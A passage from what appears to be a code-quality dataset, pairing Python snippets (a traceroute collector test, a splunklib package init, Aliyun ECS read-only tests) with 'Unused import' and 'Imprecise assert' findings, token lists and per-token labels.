]
[ { "span": "from mock import Mock", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 21 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "python_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "codi", "ng", "=", "utf", "-", "8_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "test_", "import_", "Collect", "or", "Test", "Case_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "test_", "import_", "get", "\\u", "collector\\u", "config_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "test_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "mock_", "import_", "Mock_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "mock_", "import_", "patch_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "diamond", "_", "._", "collector_", "import_", "Collector_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "tracer", "oute", "_", "import_", "Tracer", "oute", "Collector_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "\"\\u\\u", "main", "\\u\\u\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "unittest_", "._", "main_", "(_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Test", "Tracer", "oute", "Collector_", "(_", "Collect", "or", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Tracer", "oute", "Collector_", "(_", "Collect", "or", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "set", "Up_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "config_", "=_", "get", "\\u", "collector\\u", "config_", "(_", "'", "Tracer", "oute", "Collect", "or", "'_", ",_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "collector_", "=_", "Tracer", "oute", "Collector_", "(_", "config_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "collector_", "._", "config_", "[_", "'", "bin", "'_", "]_", "=_", "'", "dummy", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "collector_", "._", "config_", "[_", "'", "protoc", "ol", "'_", "]_", "=_", "'", "icmp", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Tracer", "oute", "Collector_", "(_", "Collect", "or", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "import_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "Tracer", "oute", "Collector_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Tracer", "oute", "Collector_", "(_", "Collect", "or", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "patch_", "._", "object_", "(_", "Collector_", ",_", "'", "publi", "sh", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "shou", "ld", "\\u", "work", "\\u", "with", "\\u", "real", "\\u", "data_", "(_", "self_", ",_", "publi", "sh", "\\u", "mock_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "patch_", "(_", "'", "tracer", "oute", ".", "Pop", "en", "'_", ")_", "as_", "process", "\\u", "mock_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "patch_", "._", "object_", "(_", "process", "\\u", "mock_", "._", "return", "\\u", "value_", ",_", "'", "stdout", "'_", ")_", "as_", "out", "\\u", "mock_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "patch_", "._", "object_", "(_", "process", "\\u", "mock_", "._", "return", "\\u", "value_", ",_", "'", "std", "err", "'_", ")_", "as_", "err", "\\u", "mock_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "out", "\\u", "mock_", "._", "readline_", "=_", "self_", "._", "get", "Fixture_", "(_", "'", "tracer", "oute", "'_", ")_", "._", "readline_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "err", "\\u", "mock_", "._", "readline_", "._", "return", "\\u", "value_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "collector_", "._", "collect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "rtt", "s_", "=_", "self_", "._", "get", "Fixture_", "(_", "'", "rtt", "s", "'_", ")_", "._", "getvalue_", "(_", ")_", "._", "split_", "(_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "idx_", ",_", "call_", "in_", "enumerate_", "(_", "publi", "sh", "\\u", "mock_", "._", "mock", "\\u", "calls_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", ",_", "args_", ",_", "kwargs_", "=_", "call_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "metric", "\\u", "name_", ",_", "metric", "\\u", "value_", "=_", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "metric", "\\u", "name_", ",_", "'", "yel", "p", ".", "Round", "Tri", "p", "Time", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "metric", "\\u", "value_", ",_", "float_", "(_", "rtt", "s_", "[_", "idx_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Tracer", "oute", "Collector_", "(_", "Collect", "or", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "patch_", "._", "object_", "(_", "Collector_", ",_", "'", "publi", "sh", "\\u", "metric", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "sent", "\\u", "dimensions_", "(_", "self_", ",_", "publi", "sh", "\\u", "metric", "\\u", "mock_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "patch_", "(_", "'", "tracer", "oute", ".", "Pop", "en", "'_", ")_", "as_", "process", "\\u", "mock_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "patch_", "._", "object_", "(_", "process", "\\u", "mock_", "._", "return", "\\u", "value_", ",_", "'", "stdout", "'_", ")_", "as_", "out", "\\u", "mock_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "patch_", "._", "object_", "(_", "process", "\\u", "mock_", "._", "return", "\\u", "value_", ",_", "'", "std", "err", "'_", ")_", "as_", "err", "\\u", "mock_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "out", "\\u", "mock_", "._", "readline_", "=_", "self_", "._", "get", "Fixture_", "(_", "'", "tracer", "oute", "'_", ")_", "._", "readline_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "err", "\\u", "mock_", "._", "readline_", "._", "return", "\\u", "value_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "collector_", "._", "collect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "hops", "_", "=_", "self_", "._", "get", "Fixture_", "(_", "'", "hops", "'_", ")_", "._", "getvalue_", "(_", ")_", "._", "split_", "(_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "idx_", ",_", "call_", "in_", "enumerate_", "(_", "publi", "sh", "\\u", "metric", "\\u", "mock_", "._", "mock", "\\u", "calls_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", ",_", "args_", ",_", "kwargs_", "=_", "call_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "metric_", "=_", "args_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hop_", ",_", "ip_", "=_", "hops", "_", "[_", "idx_", "]_", "._", "strip_", "(_", ")_", "._", "split_", "(_", "'|'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'*'_", "not_", "in_", "ip_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "metric_", "._", "dimensions_", ",_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "hop", "'_", ":_", "hop_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ip", "'_", ":_", "ip_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "metric_", "._", "dimensions_", ",_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "hop", "'_", ":_", "hop_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Tracer", "oute", "Collector_", "(_", "Collect", "or", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "patch_", "._", "object_", "(_", "Collector_", ",_", "'", "publi", "sh", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "shou", "ld", "\\u", "fail", "\\u", "graceful", "ly_", "(_", "self_", ",_", "publi", "sh", "\\u", "mock_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "patch_", "(_", "'", "tracer", "oute", ".", "Pop", "en", "'_", ")_", "as_", "process", "\\u", "mock_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "patch_", "._", "object_", "(_", "process", "\\u", "mock_", "._", "return", "\\u", "value_", ",_", "'", "stdout", "'_", ")_", "as_", "out", "\\u", "mock_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "patch_", "._", "object_", "(_", "process", "\\u", "mock_", "._", "return", "\\u", "value_", ",_", "'", "std", "err", "'_", ")_", "as_", "err", "\\u", "mock_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "with_", "patch_", "._", "object_", "(_", "self_", "._", "collector_", "._", "log_", ",_", "'", "error", "'_", ")_", "as_", "error", "\\u", "logger_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "err", "\\u", "mock_", "._", "readline_", "._", "return", "\\u", "value_", "=_", "'", "Fail", "ed", " ", "to", " ", "run", " ", "collect", "or", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "collector_", "._", "collect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "error", "\\u", "logger_", "._", "assert", "\\u", "call", "ed", "\\u", "onc", "e\\u", "with_", "(_", "'", "Error", " ", "runn", "ing", " ", "tracer", "oute", " ", "process", ":", " ", "Fail", "ed", " ", "to", " ", "run", " ", "collect", "or", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Publish", "ed", "Many", "_", "(_", "publi", "sh", "\\u", "mock_", ",_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
hvandenb/splunk-elasticsearch/search-elasticsearch/bin/splunklib/modularinput/__init__.py
[ { "content": "\"\"\"The following imports allow these classes to be imported via\nthe splunklib.modularinput package like so:\n\nfrom splunklib.modularinput import *\n\"\"\"\nfrom argument import Argument\nfrom event import Event\nfrom event_writer import EventWriter\nfrom input_definition import InputDefinition\nfrom scheme import Scheme\nfrom script import Script\nfrom validation_definition import ValidationDefinition", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "from argument import Argument", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 29 }, { "span": "from event import Event", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 23 }, { "span": "from event_writer import EventWriter", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 36 }, { "span": "from input_definition import InputDefinition", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 44 }, { "span": "from scheme import Scheme", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 25 }, { "span": "from script import Script", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 25 }, { "span": "from validation_definition import ValidationDefinition", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 54 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\"\"\"", "The", " ", "follow", "ing", " ", "import", "s", " ", "allow", " ", "these", " ", "classe", "s", " ", "to", " ", "be", " ", "import", "ed", " ", "via", "\\", "10", ";", "the", " ", "splu", "nk", "lib", ".", "modula", "rin", "put", " ", "package", " ", "like", " ", "so", ":", "\\", "10", ";", "\\", "10", ";", "from", " ", "splu", "nk", "lib", ".", "modula", "rin", "put", " ", "import", " ", "*", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "argument_", "import_", "Argument_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "event_", "import_", "Event_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "event", "\\u", "writer_", "import_", "Event", "Writer_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "input", "\\u", "definition_", "import_", "Inp", "ut", "Definition_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "scheme_", "import_", "Scheme_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "script_", "import_", "Script_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "validation", "\\u", "definition_", "import_", "Validat", "ion", "Definition_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 0, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 2, 0, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1 ]
Imprecise assert
quixey/python-aliyun/tests/functional/readonly.py
[ { "content": " def testClusters(self):\n clusters = self.c.get_all_clusters()\n self.assertTrue(len(clusters)>0)", "metadata": "root.EcsReadOnlyTest.testClusters", "header": "['class', 'EcsReadOnlyTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 35 }, { "content": " def testInstances(self):\n instances = self.c.get_all_instance_status()\n instanceids = self.c.get_all_instance_ids()\n self.assertEqual([i.instance_id for i in instances], instanceids)\n inst = self.c.get_instance(instanceids.pop())\n self.assertTrue(inst is not None)", "metadata": "root.EcsReadOnlyTest.testInstances", "header": "['class', 'EcsReadOnlyTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 39 }, { "content": " def testDescribeDisks(self):\n disks = self.c.describe_disks()\n self.assertTrue(len(disks)>0)", "metadata": "root.EcsReadOnlyTest.testDescribeDisks", "header": "['class', 'EcsReadOnlyTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 52 }, { "content": " def testDescribeSnapshots(self):\n iid = self.c.get_all_instance_ids().pop()\n disk = self.c.describe_instance_disks(iid).pop()\n snaps = self.c.describe_snapshots(iid, disk)\n if len(snaps)>0:\n snap = self.c.describe_snapshot(snaps.pop())\n self.assertTrue(snap is not None)", "metadata": "root.EcsReadOnlyTest.testDescribeSnapshots", "header": "['class', 'EcsReadOnlyTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 56 }, { "content": " def testDescribeImages(self):\n imgs = self.c.describe_images()\n self.assertTrue(len(imgs)>0)", "metadata": "root.EcsReadOnlyTest.testDescribeImages", "header": "['class', 'EcsReadOnlyTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 64 }, { "content": " def testSecurityGroups(self):\n groups = self.c.describe_security_groups()\n gids = self.c.get_security_group_ids()\n self.assertEqual([g.security_group_id for g in groups], gids)\n group = self.c.get_security_group(gids.pop())\n self.assertTrue(group is not None)", "metadata": "root.EcsReadOnlyTest.testSecurityGroups", "header": "['class', 'EcsReadOnlyTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 68 } ]
[ { "span": "self.assertTrue(len(clusters)>0)", "start_line": 37, "start_column": 8, "end_line": 37, "end_column": 40 }, { "span": "self.assertTrue(inst is not None)", "start_line": 44, "start_column": 8, "end_line": 44, "end_column": 41 }, { "span": "self.assertTrue(len(disks)>0)", "start_line": 54, "start_column": 8, "end_line": 54, "end_column": 37 }, { "span": "self.assertTrue(snap is not None)", "start_line": 62, "start_column": 12, "end_line": 62, "end_column": 45 }, { "span": "self.assertTrue(len(imgs)>0)", "start_line": 66, "start_column": 8, "end_line": 66, "end_column": 36 }, { "span": "self.assertTrue(group is not None)", "start_line": 73, "start_column": 8, "end_line": 73, "end_column": 42 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Ec", "s", "Read", "On", "ly", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Cluster", "s_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "clusters_", "=_", "self_", "._", "c_", "._", "get", "\\u", "all", "\\u", "clusters_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "clusters_", ")_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ec", "s", "Read", "On", "ly", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Instances_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "instances_", "=_", "self_", "._", "c_", "._", "get", "\\u", "all", "\\u", "instance", "\\u", "status_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "instance", "ids_", "=_", "self_", "._", "c_", "._", "get", "\\u", "all", "\\u", "instance", "\\u", "ids_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "[_", "i_", "._", "instance", "\\u", "id_", "for_", "i_", "in_", "instances_", "]_", ",_", "instance", "ids_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inst_", "=_", "self_", "._", "c_", "._", "get", "\\u", "instance_", "(_", "instance", "ids_", "._", "pop_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "inst_", "is_", "not_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ec", "s", "Read", "On", "ly", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Describe", "Disk", "s_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "disks_", "=_", "self_", "._", "c_", "._", "descri", "be", "\\u", "disks_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "disks_", ")_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ec", "s", "Read", "On", "ly", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Describe", "Snapshot", "s_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "iid_", "=_", "self_", "._", "c_", "._", "get", "\\u", "all", "\\u", "instance", "\\u", "ids_", "(_", ")_", "._", "pop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "disk_", "=_", "self_", "._", "c_", "._", "descri", "be", "\\u", "instance", "\\u", "disks_", "(_", "iid_", ")_", "._", "pop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "snaps", "_", "=_", "self_", "._", "c_", "._", "descri", "be", "\\u", "snapshots_", "(_", "iid_", ",_", "disk_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "snaps", "_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "snap_", "=_", "self_", "._", "c_", "._", "descri", "be", "\\u", "snapshot_", "(_", "snaps", "_", "._", "pop_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "snap_", "is_", "not_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ec", "s", "Read", "On", "ly", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Describe", "Images_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "imgs_", "=_", "self_", "._", "c_", "._", "descri", "be", "\\u", "images_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "imgs_", ")_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ec", "s", "Read", "On", "ly", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Secur", "it", "y", "Groups_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "groups_", 